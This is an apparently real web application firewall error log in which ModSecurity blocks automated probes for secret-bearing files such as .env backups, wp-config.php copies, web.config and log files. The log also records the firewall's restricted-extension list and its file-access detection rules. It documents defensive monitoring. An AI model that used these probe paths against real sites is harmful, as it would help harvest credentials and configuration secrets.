[Sun Nov 30 18:09:03.483310 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.bak&quot;] [unique_id &quot;aSx6Ly6tRBnriPIR7Vg53gAAAAw&quot;]
[Sun Nov 30 18:09:03.483532 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.bak&quot;] [unique_id &quot;aSx6Ly6tRBnriPIR7Vg53gAAAAw&quot;]
[Sun Nov 30 18:09:03.706969 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.swp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.wp-config.php.swp&quot;] [unique_id &quot;aSx6Ly6tRBnriPIR7Vg53wAAAAw&quot;]
[Sun Nov 30 18:09:03.707306 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.wp-config.php.swp&quot;] [unique_id &quot;aSx6Ly6tRBnriPIR7Vg53wAAAAw&quot;]
[Sun Nov 30 18:09:03.707524 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.wp-config.php.swp&quot;] [unique_id &quot;aSx6Ly6tRBnriPIR7Vg53wAAAAw&quot;]
[Sun Nov 30 18:09:03.931038 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aSx6Ly6tRBnriPIR7Vg54AAAAAw&quot;]
[Sun Nov 30 18:09:03.931206 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/Web.config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /Web.config found within REQUEST_FILENAME: /web.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aSx6Ly6tRBnriPIR7Vg54AAAAAw&quot;]
[Sun Nov 30 18:09:03.931413 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aSx6Ly6tRBnriPIR7Vg54AAAAAw&quot;]
[Sun Nov 30 18:09:03.931648 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aSx6Ly6tRBnriPIR7Vg54AAAAAw&quot;]
[Sun Nov 30 18:09:04.155255 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /includes/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.save&quot;] [unique_id &quot;aSx6MC6tRBnriPIR7Vg54QAAAAw&quot;]
[Sun Nov 30 18:09:04.155492 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.save&quot;] [unique_id &quot;aSx6MC6tRBnriPIR7Vg54QAAAAw&quot;]
[Sun Nov 30 18:09:04.155706 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.save&quot;] [unique_id &quot;aSx6MC6tRBnriPIR7Vg54QAAAAw&quot;]
[Sun Nov 30 18:09:04.603797 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;aSx6MC6tRBnriPIR7Vg54wAAAAw&quot;]
[Sun Nov 30 18:09:04.604050 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;aSx6MC6tRBnriPIR7Vg54wAAAAw&quot;]
[Sun Nov 30 18:09:04.604328 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;aSx6MC6tRBnriPIR7Vg54wAAAAw&quot;]
[Sun Nov 30 18:09:04.827624 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/logs/dev.log&quot;] [unique_id &quot;aSx6MC6tRBnriPIR7Vg55AAAAAw&quot;]
[Sun Nov 30 18:09:04.827984 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/logs/dev.log&quot;] [unique_id &quot;aSx6MC6tRBnriPIR7Vg55AAAAAw&quot;]
[Sun Nov 30 18:09:04.828212 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/logs/dev.log&quot;] [unique_id &quot;aSx6MC6tRBnriPIR7Vg55AAAAAw&quot;]
[Sun Nov 30 18:09:05.051869 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /sitemaps/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sitemaps/.env&quot;] [unique_id &quot;aSx6MS6tRBnriPIR7Vg55QAAAAw&quot;]
[Sun Nov 30 18:09:05.052095 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sitemaps/.env&quot;] [unique_id &quot;aSx6MS6tRBnriPIR7Vg55QAAAAw&quot;]
[Sun Nov 30 18:09:05.052337 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sitemaps/.env&quot;] [unique_id &quot;aSx6MS6tRBnriPIR7Vg55QAAAAw&quot;]
[Sun Nov 30 18:09:05.275894 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env~&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env~&quot;] [unique_id &quot;aSx6MS6tRBnriPIR7Vg55gAAAAw&quot;]
[Sun Nov 30 18:09:05.276127 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env~&quot;] [unique_id &quot;aSx6MS6tRBnriPIR7Vg55gAAAAw&quot;]
[Sun Nov 30 18:09:05.276341 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env~&quot;] [unique_id &quot;aSx6MS6tRBnriPIR7Vg55gAAAAw&quot;]
[Sun Nov 30 18:09:05.499848 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.save&quot;] [unique_id &quot;aSx6MS6tRBnriPIR7Vg55wAAAAw&quot;]
[Sun Nov 30 18:09:05.500073 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.save&quot;] [unique_id &quot;aSx6MS6tRBnriPIR7Vg55wAAAAw&quot;]
[Sun Nov 30 18:09:05.500302 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.save&quot;] [unique_id &quot;aSx6MS6tRBnriPIR7Vg55wAAAAw&quot;]
[Wed Dec 03 22:06:31.443678 2025] [:error] [pid 501535] [client 45.139.104.171:56602] [client 45.139.104.171] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aTCmV77tSLgZnvljUHEI-QAAAAg&quot;]
[Wed Dec 03 22:06:31.449960 2025] [:error] [pid 501535] [client 45.139.104.171:56602] [client 45.139.104.171] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aTCmV77tSLgZnvljUHEI-QAAAAg&quot;]
[Wed Dec 03 22:06:31.450176 2025] [:error] [pid 501535] [client 45.139.104.171:56602] [client 45.139.104.171] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aTCmV77tSLgZnvljUHEI-QAAAAg&quot;]
[Fri Dec 05 14:57:03.017822 2025] [:error] [pid 535951] [client 45.148.10.247:54396] [client 45.148.10.247] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aTLkr9HtcJZozOttqkxFZQAAAAQ&quot;]
